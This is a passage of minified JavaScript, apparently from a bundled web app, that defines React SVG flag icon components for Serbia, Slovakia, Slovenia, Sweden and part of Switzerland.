0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#RS_-_Serbia_svg__a)"},(0,s.createElement)("path",{fill:"#4857A1",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"RS_-_Serbia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#RS_-_Serbia_svg__b)"},(0,s.createElement)("path",{fill:"#C51918",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 8v4h16V8H0Z"}),(0,s.createElement)("path",{fill:"#F6C540",d:"m5.26 1.348-.064-.244.171.047-.002-.01c.754.07 1.922.447 2.142.84.085.151.002.28-.106.448l-.05.078c-.054.088-.103.171-.149.25-.17.288-.3.512-.505.624l.004.64-3.369-.028-.004-.644c-.175-.12-.298-.329-.452-.591-.046-.08-.095-.163-.15-.25-.016-.028-.033-.054-.05-.079-.107-.168-.19-.296-.105-.448.166-.296.913-.589 1.593-.744.128-.043.262-.083.394-.121l.055.037a3.72 3.72 0 0 1 .17-.02l.08.171h.264s.166.464.166.721a.86.86 0 0 1-.166.47v.178l.091.008c0-.016.001-.032.004-.05.015-.084.064-.146.109-.138.045.007.07.083.054.168a.29.29 0 0 1-.01.038c.178.023.377.055.566.088.072-.132.16-.261.243-.385.216-.32.406-.6.229-.769a.512.512 0 0 0-.175-.089 5.825 5.825 0 0 0-.82-.138l-.007-.036a31.083 31.083 0 0 0-.15-.022Zm1.282 1.55.152.031.001.1c.334-.24.568-.78.588-.956.012-.105-.163-.228-.439-.34.126.235-.05.469-.271.76a5.13 5.13 0 0 0-.256.362l.083.016a.266.266 0 0 1 .01-.081c.022-.084.075-.142.12-.13.044.012.062.09.04.172a.273.273 0 0 1-.028.067ZM4.82 2.675v-.198s-.143-.15-.166-.465a2.396 2.396 0 0 1 .065-.63c-.2.026-.411.064-.617.11-.165.042-.298.089-.355.142-.177.168.013.449.23.769.08.12.164.244.235.371.121-.025.244-.048.358-.066a.282.282 0 0 1-.01-.054c-.008-.085.023-.158.069-.162.045-.004.088.062.096.148a.286.286 0 0 1 0 .046c.033-.005.065-.008.095-.011Zm-.978.18a5.15 5.15 0 0 0-.255-.36c-.226-.3-.405-.537-.262-.777-.323.121-.54.251-.529.356.019.167.227.655.53.91V2.98s.124-.033.308-.077a.273.273 0 0 1-.031-.065c-.027-.082-.013-.16.03-.174.044-.014.1.041.127.123.01.029.014.057.014.083l.068-.016Z"}),(0,s.createElement)("path",{fill:"#fff",d:"M4.297 1.342a.145.145 0 0 0 .082.025c.077 0 .14-.059.14-.132 0-.073-.063-.132-.14-.132a.141.141 0 0 0-.125.073.145.145 0 0 0-.2.036.145.145 0 0 0-.09-.03c-.077 0-.14.059-.14.131l.001.012a.143.143 0 0 0-.109-.049.138.138 0 0 0-.138.112.143.143 0 0 0-.11-.05.138.138 0 0 0-.137.104.145.145 0 0 0-.082-.025.14.14 0 0 0-.133.09.146.146 0 0 0-.062-.013.138.138 0 0 0-.138.109.149.149 0 0 0-.028-.003.136.136 0 0 0-.14.13.15.15 0 0 0-.025-.002c-.078 0-.14.059-.14.132 0 .009 0 .018.002.027a.149.149 0 0 0-.028-.003c-.077 0-.14.059-.14.132 0 .055.036.102.087.122a.125.125 0 0 0-.004.034c0 .055.036.103.087.122a.125.125 0 0 0-.004.034c0 .071.06.129.134.132a.129.129 0 0 0-.052.102c0 .073.063.132.14.132.078 0 .14-.06.14-.132 0-.071-.06-.13-.134-.132a.129.129 0 0 0 .051-.102.132.132 0 0 0-.087-.122.125.125 0 0 0 .005-.034.132.132 0 0 0-.088-.123.125.125 0 0 0 .002-.06c.01.002.019.003.029.003a.136.136 0 0 0 .14-.13.149.149 0 0 0 .025.002c.07 0 .127-.047.138-.11a.14.14 0 0 0 .16-.088.146.146 0 0 0 .146-.01.128.128 0 0 0 .023.048.126.126 0 0 0-.027.078c0 .07.06.129.134.131a.129.129 0 0 0-.051.103c0 .055.036.102.087.122a.125.125 0 0 0-.004.034c0 .055.036.103.087.122a.125.125 0 0 0-.005.034c0 .073.063.132.14.132.078 0 .14-.06.14-.132a.132.132 0 0 0-.087-.122.125.125 0 0 0 .004-.034.132.132 0 0 0-.087-.123.125.125 0 0 0 .005-.033c0-.071-.06-.13-.135-.132a.126.126 0 0 0 .025-.18.126.126 0 0 0 0-.157.127.127 0 0 0 .025-.057c.026.03.066.05.11.05.078 0 .14-.06.14-.132v-.012c.025.03.065.05.109.05.05 0 .092-.025.117-.061.025.019.056.03.09.03.054 0 .102-.03.125-.073Zm-.83.26a.143.143 0 0 0 .114-.055.143.143 0 0 0-.113-.053c.014 0 .026-.011.026-.025 0-.013-.012-.024-.026-.024-.014 0-.026.011-.026.024 0 .014.012.025.026.025-.03 0-.06.009-.082.025a.132.132 0 0 0-.055-.077.125.125 0 0 0 .024.105.126.126 0 0 0-.023.109.132.132 0 0 0 .054-.08.145.145 0 0 0 .082.025Zm0 .048a.143.143 0 0 0-.112.054.143.143 0 0 0 .113.053.143.143 0 0 0 .113-.053.143.143 0 0 0-.113-.054Zm0 0c.015 0 .027-.011.027-.024 0-.014-.012-.025-.026-.025-.014 0-.026.011-.026.025 0 .013.012.024.026.024Zm-.08-.073a.137.137 0 0 1-.032-.03.137.137 0 0 1 .03-.028.125.125 0 0 1 .001.058Zm.382.629a.147.147 0 0 0-.053-.01.139.139 0 0 0-.135.098c.016.006.034.01.052.01.065 0 .12-.042.136-.098Zm-.083-.156a.147.147 0 0 0-.053-.01.139.139 0 0 0-.135.098c.016.006.034.01.053.01.065 0 .12-.042.135-.099Zm-.13-.166h-.005a.145.145 0 0 0-.089.03h.006a.145.145 0 0 0 .088-.03Zm-.745.546h-.006a.145.145 0 0 0-.088.03h.006a.145.145 0 0 0 .088-.03Zm-.036-.224a.139.139 0 0 1-.135.098.147.147 0 0 1-.053-.01.139.139 0 0 1 .136-.098c.018 0 .036.003.052.01Zm-.083-.156a.139.139 0 0 1-.135.098.147.147 0 0 1-.053-.01.139.139 0 0 1 .136-.098c.018 0 .036.003.052.01Zm-.107-.163a.136.136 0 0 0 .109.102.136.136 0 0 0-.109-.102Zm.277-.025a.134.134 0 0 1-.114-.13V1.73a.134.134 0 0 1 .114.13v.002Zm.164-.107a.134.134 0 0 1-.11-.152.134.134 0 0 1 .11.152Zm.16-.088a.131.131 0 0 1-.077-.118c0-.015.003-.028.007-.041a.131.131 0 0 1 .078.118.125.125 0 0 1-.007.04Zm.42-.177a.127.127 0 0 1-.028-.102.127.127 0 0 1 .028.102Zm.22-.165c.002.027.013.051.03.071a.127.127 0 0 0-.03-.07Zm.256.06a.126.126 0 0 1-.029-.173c.032.024.052.06.052.101 0 .027-.009.051-.023.072Zm.215-.043a.13.13 0 0 1-.058-.107c0-.02.005-.04.015-.059a.13.13 0 0 1 .057.107.125.125 0 0 1-.014.059Zm-1.409.414c.014 0 .026-.01.026-.024 0-.013-.012-.024-.026-.024-.014 0-.026.01-.026.024 0 .013.012.024.026.024Zm-.165.128c.014 0 .025-.011.025-.024 0-.014-.011-.025-.025-.025-.015 0-.026.011-.026.025 0 .013.011.024.026.024Zm-.166.156c.014 0 .026-.01.026-.024s-.012-.024-.026-.024c-.014 0-.026.01-.026.024 0 .013.012.024.026.024Zm.083.156c.014 0 .025-.01.025-.024s-.011-.024-.025-.024c-.014 0-.026.01-.026.024 0 .013.012.024.026.024Zm.083.156c.014 0 .025-.01.025-.024 0-.013-.011-.024-.025-.024-.015 0-.026.01-.026.024 0 .013.011.024.026.024Zm.108.21c0 .013-.011.024-.026.024-.014 0-.025-.01-.025-.024 0-.013.011-.024.025-.024.015 0 .026.01.026.024Zm.223-.912c.014 0 .025-.011.025-.024 0-.014-.011-.025-.025-.025-.014 0-.026.011-.026.025 0 .013.012.024.026.024Zm.195-.077c.015 0 .026-.01.026-.024s-.011-.024-.026-.024c-.014 0-.025.01-.025.024 0 .013.011.024.025.024Zm.467-.14c.014 0 .026-.012.026-.025 0-.013-.012-.024-.026-.024-.014 0-.025.01-.025.024 0 .013.011.024.025.024Zm.249-.095c.014 0 .025-.011.025-.025 0-.013-.011-.024-.025-.024-.014 0-.026.011-.026.024 0 .014.012.025.026.025Zm.206-.03c.014 0 .026-.012.026-.025 0-.013-.012-.024-.026-.024-.014 0-.025.01-.025.024 0 .013.011.024.025.024Zm.208-.048c.014 0 .026-.011.026-.025 0-.013-.012-.024-.026-.024-.014 0-.026.011-.026.024 0 .014.012.025.026.025Zm-.911.546c.014 0 .026-.011.026-.024 0-.014-.012-.025-.026-.025-.014 0-.026.011-.026.025 0 .013.012.024.026.024Zm.083.234c.014 0 .025-.01.025-.024s-.011-.024-.025-.024c-.014 0-.026.01-.026.024 0 .013.012.024.026.024Zm.082.156c.015 0 .026-.01.026-.024s-.011-.024-.026-.024c-.014 0-.025.01-.025.024 0 .013.011.024.025.024Zm.083.156c.014 0 .026-.01.026-.024 0-.013-.012-.024-.026-.024-.014 0-.025.01-.025.024 0 .013.011.024.025.024Zm3.644.234c.014 0 .026-.01.026-.024 0-.013-.012-.024-.026-.024-.014 0-.025.01-.025.024 0 .013.011.024.025.024Zm-.14-.024c0 .073.063.132.14.132.077 0 .14-.06.14-.132a.129.129 0 0 0-.051-.102.136.136 0 0 0 .134-.132.125.125 0 0 0-.005-.034.132.132 0 0 0 .088-.122.125.125 0 0 0-.005-.034.132.132 0 0 0 .088-.122c0-.073-.063-.132-.14-.132-.01 0-.02 0-.029.003a.125.125 0 0 0 .003-.027c0-.073-.063-.132-.14-.132a.15.15 0 0 0-.026.002.136.136 0 0 0-.14-.13c-.01 0-.018.001-.027.003a.138.138 0 0 0-.138-.11.146.146 0 0 0-.063.015.14.14 0 0 0-.133-.091c-.03 0-.059.009-.081.025a.138.138 0 0 0-.137-.104.143.143 0 0 0-.11.05.138.138 0 0 0-.139-.112.143.143 0 0 0-.109.05v-.013c0-.072-.062-.132-.14-.132a.145.145 0 0 0-.088.03.145.145 0 0 0-.2-.035.141.141 0 0 0-.125-.073c-.078 0-.14.06-.14.132 0 .073.062.132.14.132.03 0 .059-.01.082-.025a.145.145 0 0 0 .214.043c.025.036.068.06.118.06.044 0 .083-.019.109-.049v.012c0 .073.062.132.14.132.044 0 .084-.02.11-.05a.127.127 0 0 0 .025.057.126.126 0 0 0 0 .157.126.126 0 0 0 .024.18.136.136 0 0 0-.134.132c0 .011.002.023.005.034a.132.132 0 0 0-.088.122c0 .011.002.023.005.034a.132.132 0 0 0-.088.122c0 .073.063.132.14.132.078 0 .14-.06.14-.132a.125.125 0 0 0-.004-.034.132.132 0 0 0 .087-.122.125.125 0 0 0-.005-.034.132.132 0 0 0 .088-.122.129.129 0 0 0-.052-.103.136.136 0 0 0 .135-.131c0-.03-.01-.057-.027-.078a.128.128 0 0 0 .023-.048.145.145 0 0 0 .145.01.14.14 0 0 0 .16.089c.012.062.07.109.138.109.01 0 .018 0 .026-.002.001.072.063.13.14.13.01 0 .02-.001.029-.003a.126.126 0 0 0 .001.06.132.132 0 0 0-.087.123c0 .011.001.023.005.034a.132.132 0 0 0-.088.122c0 .041.02.078.052.102a.136.136 0 0 0-.135.132Zm-.44-.985a.145.145 0 0 1-.195-.03.145.145 0 0 1 .195-.029.125.125 0 0 0 0 .059Zm.03-.03a.126.126 0 0 1 .024.109.132.132 0 0 1-.055-.08.137.137 0 0 0 .032-.029Zm0 0a.137.137 0 0 0-.03-.028.132.132 0 0 1 .055-.077.125.125 0 0 1-.024.105Zm-.225.747a.139.139 0 0 0-.136-.098.147.147 0 0 0-.052.01c.016.056.07.098.135.098a.147.147 0 0 0 .053-.01Zm.082-.156a.139.139 0 0 0-.135-.098.147.147 0 0 0-.052.01c.015.056.07.098.135.098a.147.147 0 0 0 .052-.01Zm.036-.225a.145.145 0 0 0-.088-.03h-.006c.024.02.055.03.089.03h.005Zm.108-.21a.143.143 0 0 0-.113-.053.143.143 0 0 0-.113.054.143.143 0 0 0 .113.053.143.143 0 0 0 .113-.053Zm-.942-.361a.13.13 0 0 0 .058-.107.125.125 0 0 0-.015-.059.13.13 0 0 0-.058.107c0 .021.006.041.015.059Zm.214.043a.126.126 0 0 0 .029-.173.126.126 0 0 0-.029.173Zm.257-.06a.127.127 0 0 1-.03.071.127.127 0 0 1 .03-.07Zm.22.165a.127.127 0 0 0 .028-.102.127.127 0 0 0-.029.102Zm.419.177a.131.131 0 0 0 .077-.118.125.125 0 0 0-.007-.041.131.131 0 0 0-.077.118c0 .014.002.028.007.04Zm.16.088a.134.134 0 0 0 .11-.152.134.134 0 0 0-.11.152Zm.333.234a.136.136 0 0 0 .108-.102.136.136 0 0 0-.108.102Zm-.055-.259v.002c0 .065-.049.118-.114.13V1.86c0-.065.05-.119.114-.13Zm.056.32a.147.147 0 0 1 .053-.01c.065 0 .12.042.135.098a.147.147 0 0 1-.052.01.139.139 0 0 1-.136-.099Zm-.082.156a.147.147 0 0 1 .052-.01c.065 0 .12.042.135.098a.147.147 0 0 1-.052.01.139.139 0 0 1-.135-.098Zm.052.254a.145.145 0 0 1-.088-.03h.005c.034 0 .064.011.088.03h-.005Zm0-.108c.014 0 .026-.01.026-.024 0-.013-.012-.024-.026-.024-.014 0-.026.01-.026.024 0 .013.012.024.026.024Zm.083-.156c.014 0 .026-.01.026-.024s-.012-.024-.026-.024c-.014 0-.026.01-.026.024 0 .013.012.024.026.024Zm.083-.156c.014 0 .025-.01.025-.024s-.011-.024-.025-.024c-.015 0-.026.01-.026.024 0 .013.011.024.026.024Zm-.166-.156c.014 0 .026-.011.026-.024 0-.014-.012-.025-.026-.025-.014 0-.026.011-.026.025 0 .013.012.024.026.024Zm-.166-.128c.015 0 .026-.01.026-.024 0-.013-.011-.024-.026-.024-.014 0-.025.01-.025.024 0 .013.011.024.025.024Zm-.165-.106c.014 0 .025-.011.025-.024 0-.014-.011-.025-.025-.025-.014 0-.026.011-.026.025 0 .013.012.024.026.024Zm-.196-.077c.014 0 .026-.01.026-.024s-.012-.024-.026-.024c-.014 0-.025.01-.025.024 0 .013.011.024.025.024Zm-.218-.08c.014 0 .025-.01.025-.024 0-.013-.011-.024-.025-.024-.014 0-.026.011-.026.024 0 .014.012.025.026.025Zm-.249-.06c.014 0 .026-.012.026-.025 0-.013-.012-.024-.026-.024-.014 0-.025.01-.025.024 0 .013.011.024.025.024Zm-.248-.095c.014 0 .025-.011.025-.025 0-.013-.011-.024-.025-.024-.014 0-.026.011-.026.024 0 .014.012.025.026.025Zm-.207-.03c.014 0 .026-.012.026-.025 0-.013-.012-.024-.026-.024-.014 0-.025.01-.025.024 0 .013.011.024.025.024Zm-.207-.048c.014 0 .025-.011.025-.025 0-.013-.011-.024-.025-.024-.014 0-.026.011-.026.024 0 .014.012.025.026.025Zm.91.39c.015 0 .026-.011.026-.024 0-.014-.011-.025-.025-.025-.014 0-.026.011-.026.025 0 .013.012.024.026.024Zm0 .156c.015 0 .026-.011.026-.024 0-.014-.011-.025-.025-.025-.014 0-.026.011-.026.025 0 .013.012.024.026.024Zm-.082.234c.014 0 .026-.01.026-.024s-.012-.024-.026-.024c-.014 0-.026.01-.026.024 0 .013.012.024.026.024Zm-.083.156c.014 0 .026-.01.026-.024s-.012-.024-.026-.024c-.014 0-.026.01-.026.024 0 .013.012.024.026.024Zm-.083.156c.014 0 .026-.01.026-.024 0-.013-.012-.024-.026-.024-.014 0-.025.01-.025.024 0 .013.011.024.025.024Z"}),(0,s.createElement)("path",{fill:"#F6C540",d:"m5.11.46-.219.007-.004.341-.404.006.002.207.4-.005-.006.389.219-.007.005-.385.397-.006L5.5.8l-.393.005.004-.344Z"}),(0,s.createElement)("path",{fill:"#C51918",d:"M2.02 4.003h5.943v4.756s-.18 2.37-2.972 2.37c-2.791 0-2.971-2.37-2.971-2.37V4.003Z"}),(0,s.createElement)("path",{fill:"#E8AA00",d:"M3.813 4.168c-.054 0-.138.036-.25.078-.11.042-.227.132-.113.222s.277.289.277.215c0-.074.195-.146.195-.11 0 .036-.06.11.098.11s.24.044.07.044c-.168 0-.186.073-.296.073-.11 0-.344-.074-.344-.117 0-.044.136.214.277.214.142 0 .222.125.293.062.07-.062.063-.062.177-.062.115 0 .073-.253.073-.253s-.402-.476-.457-.476ZM6.107 4.168c.054 0 .138.036.25.078.11.042.227.132.113.222s-.277.289-.277.215c0-.074-.195-.146-.195-.11 0 .036.06.11-.098.11s-.24.044-.07.044c.168 0 .187.073.296.073.11 0 .344-.074.344-.117 0-.044-.135.214-.277.214-.141 0-.222.125-.293.062-.07-.062-.062-.062-.177-.062-.114 0-.073-.253-.073-.253s.402-.476.457-.476Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M6.835 4.685c.114.25-.759 1.18-.759 1.18h-.098c-.04 0-.117-.095-.21-.21a3.243 3.243 0 0 0-.205-.24c-.135-.138-.064-.253.003-.36.02-.034.04-.066.054-.098a.447.447 0 0 0 .038-.129c.005-.03.01-.065.039-.143.042-.116.188-.265.29-.369.04-.04.072-.073.09-.095.054-.068.012-.068-.101-.067h-.051c-.152 0-.44.067-.527.145-.087.079-.177.095-.31.095-.134 0-.051.085.07.142-.13.023-.214.228-.264.41-.026-.182-.086-.387-.216-.41.121-.057.203-.142.07-.142s-.224-.016-.31-.095c-.087-.078-.376-.144-.527-.144H3.86c-.114-.002-.155-.002-.1.066.017.022.05.055.089.095.101.104.248.253.29.369.029.078.034.113.038.143.005.032.01.06.038.129.014.032.034.064.054.097.067.108.139.223.004.36-.072.074-.143.162-.206.24-.092.116-.169.211-.21.211H3.76s-.873-.93-.759-1.18c.044-.097.115-.188.174-.264.093-.12.156-.2.03-.2-.204 0-1.018.487-1.018 1.584s.075 1.72.25 2.158c.119.298.01.588-.071.804-.038.1-.07.185-.07.246 0 .196.32.025.32-.098 0-.058.044.029.09.12.051.1.105.205.105.127 0-.083.05-.17.096-.248.035-.061.067-.115.067-.156 0-.04.045-.039.095-.037.064.002.137.004.137-.079 0-.056.023-.067.051-.081.048-.023.11-.053.11-.305 0-.186.04-.12.086-.044.041.07.088.147.113.044.003-.01.03-.053.061-.106a2.04 2.04 0 0 0 .127-.228 1.67 1.67 0 0 1-.293.557c-.093.113-.255.358-.255.358s.15.08.255 0c.06-.044.063-.002.067.043.004.036.007.075.038.075.02 0 .038.003.054.005a.259.259 0 0 0 .033.004c-.035.084-.066.219.039.129a.712.712 0 0 1 .163-.107c.04-.02.057-.029.057-.07 0-.042.016-.028.042-.006.022.02.052.045.083.045.041 0 .05-.054.062-.132a1.028 1.028 0 0 1 .056-.225c.046-.134.067-.197.119-.027.024.08.067.135.104.184.05.067.091.12.06.2-.011.03-.026.066-.042.104-.055.13-.122.288-.122.413 0 .075-.072.176-.14.271-.079.112-.152.215-.097.257.103.077-.021.337-.125.47-.104.133.767.44.919.44.002 0 .004-.002.006-.004v.003s1.089-.05 1.089-.439c-.104-.133-.228-.393-.126-.47.056-.042-.018-.145-.097-.257-.067-.095-.14-.196-.14-.27 0-.126-.066-.285-.121-.414l-.043-.104c-.03-.08.01-.133.06-.2.038-.049.08-.105.105-.184.052-.17.073-.107.119.027l.015.044c.022.066.032.129.04.181.013.078.021.132.062.132.032 0 .061-.026.084-.045.025-.022.042-.036.042.005 0 .042.016.05.057.07a.712.712 0 0 1 .163.108c.105.09.074-.045.039-.129.01 0 .02-.002.032-.004.017-.002.035-.005.054-.005.031 0 .035-.039.038-.075.005-.045.009-.087.067-.043.105.08.256 0 .256 0s-.162-.245-.256-.358a1.67 1.67 0 0 1-.293-.557c.02.05.08.15.127.228.033.053.059.096.061.106.026.103.072.025.114-.044.046-.076.085-.142.085.044 0 .252.063.282.11.305.029.014.052.025.052.081 0 .083.073.08.137.079.05-.002.095-.003.095.037s.032.095.067.156c.045.077.096.165.096.248 0 .078.053-.027.104-.127.046-.091.09-.178.09-.12 0 .123.32.294.32.098 0-.061-.031-.146-.069-.246-.081-.216-.19-.506-.071-.804.174-.437.25-1.061.25-2.158S6.835 4.22 6.63 4.22c-.125 0-.063.08.03.2.06.076.13.167.174.264Zm-.759 3.213Zm.069 1.018c0-.028.02.003.039.048-.024 0-.04-.008-.04-.049Zm-2.493.048c.024 0 .039-.008.039-.049 0-.027-.02.004-.039.05Zm.101-1.042a.955.955 0 0 1 0 0Z"}),(0,s.createElement)("path",{fill:"#C51918",d:"M3.884 5.942h2.215V7.59s-.238.821-1.108.821c-.87 0-1.107-.821-1.107-.821V5.94Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M5.29 5.918h-.58v.946h-.828v.339h.828V8.42h.58V7.203h.828v-.339H5.29v-.946Z"}),(0,s.createElement)("path",{fill:"#E8AA00",d:"M3.437 9.663c.269-.31.521-.585.297-.78-.225-.195-.493-.026-.762.284s-.437.643-.213.838c.225.195.409-.032.678-.342ZM6.368 9.663c-.27-.31-.522-.585-.297-.78.224-.195.492-.026.761.284.27.31.438.643.214.838-.225.195-.409-.032-.678-.342Z"})))),pa=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SK_-_Slovakia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#SK_-_Slovakia_svg__a)"},(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"SK_-_Slovakia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#SK_-_Slovakia_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",stroke:"#fff",strokeWidth:.5,d:"m7.802 3.015.249-.026-.024-.224H2.939l-.016.233.25.017-.25-.017v.008l-.002.024-.006.088a61.92 61.92 0 0 0-.07 1.344c-.033.77-.055 1.67.001 2.091.11.822.61 2.665 2.544 3.5l.1.044.101-.045c1.837-.821 2.452-2.475 2.593-3.497.072-.516.036-1.418-.015-2.168A40.918 40.918 0 0 0 8.062 3.1l-.008-.083-.003-.022V2.99l-.249.026Z"}),(0,s.createElement)("mask",{id:"SK_-_Slovakia_svg__c",width:7,height:9,x:2,y:2,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",stroke:"#fff",strokeWidth:.5,d:"m7.802 3.015.249-.026-.024-.224H2.939l-.016.233.25.017-.25-.017v.008l-.002.024-.006.088a61.92 61.92 0 0 0-.07 1.344c-.033.77-.055 1.67.001 2.091.11.822.61 2.665 2.544 3.5l.1.044.101-.045c1.837-.821 2.452-2.475 2.593-3.497.072-.516.036-1.418-.015-2.168A40.918 40.918 0 0 0 8.062 3.1l-.008-.083-.003-.022V2.99l-.249.026Z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#SK_-_Slovakia_svg__c)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M4.931 3.295s.103.157.15.398c.046.24.054.514.054.514l-.782-.12v.89l.804-.128-.024.934s-.102.031-.348 0a7.715 7.715 0 0 1-.73-.161v.85s.492-.157.73-.193c.238-.036.348 0 .348 0l.008.815h.797l-.008-.815s.251-.039.516.003.517.19.517.19v-.85s-.255.127-.495.158c-.24.032-.538.003-.538.003l.024-.934s.14-.034.326-.009c.187.026.42.137.42.137v-.89s-.228.123-.407.146c-.179.022-.36-.026-.36-.026s.006-.287.044-.499c.039-.212.148-.413.148-.413H4.931Z"}),(0,s.createElement)("path",{fill:"#2E42A5",d:"M3.449 8.123s.22-.472.577-.562c.358-.09.733.281.733.281s.228-.748.787-.748c.558 0 .753.748.753.748s.239-.28.58-.28c.343 0 .66.56.66.56S6.518 9.98 5.495 9.98 3.45 8.123 3.45 8.123Z"}))))),fa=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SI_-_Slovenia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#SI_-_Slovenia_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"SI_-_Slovenia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#SI_-_Slovenia_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M6.87 2.518s-1.052-.497-2.361-.497c-1.31 0-2.361.497-2.361.497s.117 1.997.302 3.056c.079.451.459 1.11.803 1.422.392.356 1.256.777 1.256.777.25-.173.718-.25 1.315-.777.598-.527.747-1.422.747-1.422l.3-3.056Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",d:"m6.731 2.453.438.219-.3 3.011c-.106.637-.37 1.14-.791 1.512a3.422 3.422 0 0 1-.692.477l-.695.36a1.01 1.01 0 0 0-.134.074l-.055.038-.06-.029c-.584-.285-1.13-.669-1.402-.915-.37-.336-.761-1.023-.844-1.5-.125-.711-.237-1.692-.315-3.028l.394-.206c.077 1.326.171 2.384.294 3.083.072.413.432 1.047.76 1.345.244.22.635.465 1.173.73l.108-.057c.001 0 .367-.163.495-.23.223-.116.43-.256.643-.444.375-.33.608-.774.703-1.338l.28-3.102Z"}),(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M2.771 5.512s.258.789.71 1.23c.451.44 1.01.655 1.01.655s.664-.2 1.042-.624c.377-.424.763-1.26.763-1.26L5.42 4.67l-.349.378-.58-.826-.485.826-.372-.378-.862.842Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M3.573 2.943h-.351l.273-.255-.273-.27h.351l.149-.262.149.262h.35l-.258.253.23.272H3.87l-.15.277-.148-.277ZM5.23 2.943H4.88l.272-.255-.272-.27h.351l.149-.262.149.262h.35l-.258.253.23.272h-.322l-.15.277-.148-.277ZM4.3 3.784h-.352l.273-.256-.273-.27H4.3l.148-.262.15.262h.35l-.259.254.23.272h-.322l-.149.276-.148-.276Z",clipRule:"evenodd"})))),ga=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SE_-_Sweden_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#SE_-_Sweden_svg__a)"},(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"SE_-_Sweden_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#SE_-_Sweden_svg__b)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M5 0h2v5h9v2H7v5H5V7H0V5h5V0Z",clipRule:"evenodd"})))),Ea=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CH_-_Switzerland_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#CH_-_Switzerland_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"CH_-_Switzerland_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#CH_-_Switzerland_svg__b)"},(0,s.createElement)("path",{fill:"#F1F9FF",fillRule:"evenodd",d:"M9 